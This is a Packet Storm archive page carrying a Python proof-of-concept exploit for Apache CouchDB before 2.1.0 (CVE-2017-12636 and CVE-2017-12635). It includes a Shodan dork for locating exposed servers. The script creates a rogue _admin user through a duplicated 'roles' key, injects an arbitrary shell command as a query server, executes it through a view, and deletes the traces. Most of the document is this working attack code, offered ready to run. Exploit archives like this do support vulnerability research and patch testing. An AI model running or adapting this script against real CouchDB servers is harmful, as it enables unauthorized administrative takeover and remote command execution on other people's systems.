exploit the possibilities

Apache CouchDB Remote Code Execution

Apache CouchDB Remote Code Execution
Posted Jun 21, 2018
Authored by Cody Zacharias

Apache CouchDB versions prior to 2.1.0 remote code execution proof of concept exploit.

tags | exploit, remote, code execution, proof of concept
advisories | CVE-2017-12636
MD5 | 41cb849d4d5d1e2396ab8315d6910c18

Apache CouchDB Remote Code Execution

Change Mirror Download
# Title: Apache CouchDB < 2.1.0 - Remote Code Execution
# Author: Cody Zacharias
# Shodan Dork: port:5984
# Vendor Homepage: http://couchdb.apache.org/
# Software Link: http://archive.apache.org/dist/couchdb/source/1.6.0/
# Version: <= 1.7.0 and 2.x - 2.1.0
# Tested on: Debian
# CVE : CVE-2017-12636
# References:
# https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
# https://blog.trendmicro.com/trendlabs-security-intelligence/vulnerabilities-apache-couchdb-open-door-monero-miners/

# Proof of Concept: python exploit.py --priv -c "id" http://localhost:5984

#!/usr/bin/env python
from requests.auth import HTTPBasicAuth
import argparse
import requests
import re
import sys

def getVersion():
version = requests.get(args.host).json()["version"]
return version

def error(message):
print(message)
sys.exit(1)

def exploit(version):
with requests.session() as session:
session.headers = {"Content-Type": "application/json"}

# Exploit privilege escalation
if args.priv:
try:
payload = '{"type": "user", "name": "'
payload += args.user
payload += '", "roles": ["_admin"], "roles": [],'
payload += '"password": "' + args.password + '"}'

pr = session.put(args.host + "/_users/org.couchdb.user:" + args.user,
data=payload)

print("[+] User " + args.user + " with password " + args.password + " successfully created.")
except requests.exceptions.HTTPError:
error("[-] Unable to create the user on remote host.")

session.auth = HTTPBasicAuth(args.user, args.password)

# Create payload
try:
if version == 1:
session.put(args.host + "/_config/query_servers/cmd",
data='"' + args.cmd + '"')
print("[+] Created payload at: " + args.host + "/_config/query_servers/cmd")
else:
host = session.get(args.host + "/_membership").json()["all_nodes"][0]
session.put(args.host + "/_node/" + host + "/_config/query_servers/cmd",
data='"' + args.cmd + '"')
print("[+] Created payload at: " + args.host + "/_node/" + host + "/_config/query_servers/cmd")
except requests.exceptions.HTTPError as e:
error("[-] Unable to create command payload: " + e)

try:
session.put(args.host + "/god")
session.put(args.host + "/god/zero", data='{"_id": "HTP"}')
except requests.exceptions.HTTPError:
error("[-] Unable to create database.")

# Execute payload
try:
if version == 1:
session.post(args.host + "/god/_temp_view?limit=10",
data='{"language": "cmd", "map": ""}')
else:
session.post(args.host + "/god/_design/zero",
data='{"_id": "_design/zero", "views": {"god": {"map": ""} }, "language": "cmd"}')
print("[+] Command executed: " + args.cmd)
except requests.exceptions.HTTPError:
error("[-] Unable to execute payload.")

print("[*] Cleaning up.")

# Cleanup database
try:
session.delete(args.host + "/god")
except requests.exceptions.HTTPError:
error("[-] Unable to remove database.")

# Cleanup payload
try:
if version == 1:
session.delete(args.host + "/_config/query_servers/cmd")
else:
host = session.get(args.host + "/_membership").json()["all_nodes"][0]
session.delete(args.host + "/_node" + host + "/_config/query_servers/cmd")
except requests.exceptions.HTTPError:
error("[-] Unable to remove payload.")

def main():
version = getVersion()
print("[*] Detected CouchDB Version " + version)
vv = version.replace(".", "")
v = int(version[0])
if v == 1 and int(vv) <= 170:
exploit(v)
elif v == 2 and int(vv) < 211:
exploit(v)
else:
print("[-] Version " + version + " not vulnerable.")
sys.exit(0)

if __name__ == "__main__":
ap = argparse.ArgumentParser(
description="Apache CouchDB JSON Remote Code Execution Exploit (CVE-2017-12636)")
ap.add_argument("host", help="URL (Example: http://127.0.0.1:5984).")
ap.add_argument("-c", "--cmd", help="Command to run.")
ap.add_argument("--priv", help="Exploit privilege escalation (CVE-2017-12635).",
action="store_true")
ap.add_argument("-u", "--user", help="Admin username (Default: guest).",
default="guest")
ap.add_argument("-p", "--password", help="Admin password (Default: guest).",
default="guest")
args = ap.parse_args()
main()


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close